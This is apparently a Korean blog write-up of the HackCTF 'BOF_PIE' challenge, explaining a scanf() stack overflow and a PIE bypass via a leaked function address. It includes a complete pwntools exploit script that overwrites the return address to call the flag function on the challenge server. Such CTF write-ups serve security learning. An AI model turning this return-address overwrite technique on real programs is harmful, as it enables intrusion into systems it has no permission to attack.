ii4gsp

HackCTF - BOF_PIE 본문

시스템 해킹/HackCTF

HackCTF - BOF_PIE

ii4gsp 2020. 2. 9. 17:11

파일을 다운받아 주자.

 

 

 

 

IDA로 열어보면 main()함수에서 welcome()함수를 호출한다.

 

 

 

 

welcome()함수에서는 welcome의 주소를 출력해주고 scanf()함수로 v1에 입력을 받는다.

scanf()함수에서 취약점이 발생한다.

v1 ~ sfp = 22이다.

 

 

 

 

j0n9hyun()함수에서 flag를 출력해준다.

welcome()함수의 ret를 j0n9hyun()함수로 조작해주면 된다.

 

 

 

 

welcome() offset = 0x909

j0n9hyun() offset = 0x890

0x909 - 0x890 = 0x79

welcome()함수와 j0n9hyun()함수는 0x79만큼 떨어져 있다.

 

 

 

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3008)

r.recvuntil('j0n9hyun is ')
buffer = int(r.recv(10), 16)

payload = ''
payload += '\x90' * 22
payload += p32(buffer - 0x79)

r.sendline(payload)

r.interactive()

welcome()함수의 주소를 받아오고 dummy 22byte만큼 채우고

받아온 주소에서 0x79만큼 빼주면 j0n9hyun()함수의 주소이다.

RET를 j0n9hyun()함수의 주소로 덮어주면 된다.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - RTL_World  (0) 2020.02.15
HackCTF - Yes_or_no  (0) 2020.02.10
HackCTF - Offset  (0) 2020.02.09
HackCTF - Simple_Overflow_ver_2  (0) 2020.02.09
HackCTF - x64 Simple_size_BOF  (0) 2020.02.09
Comments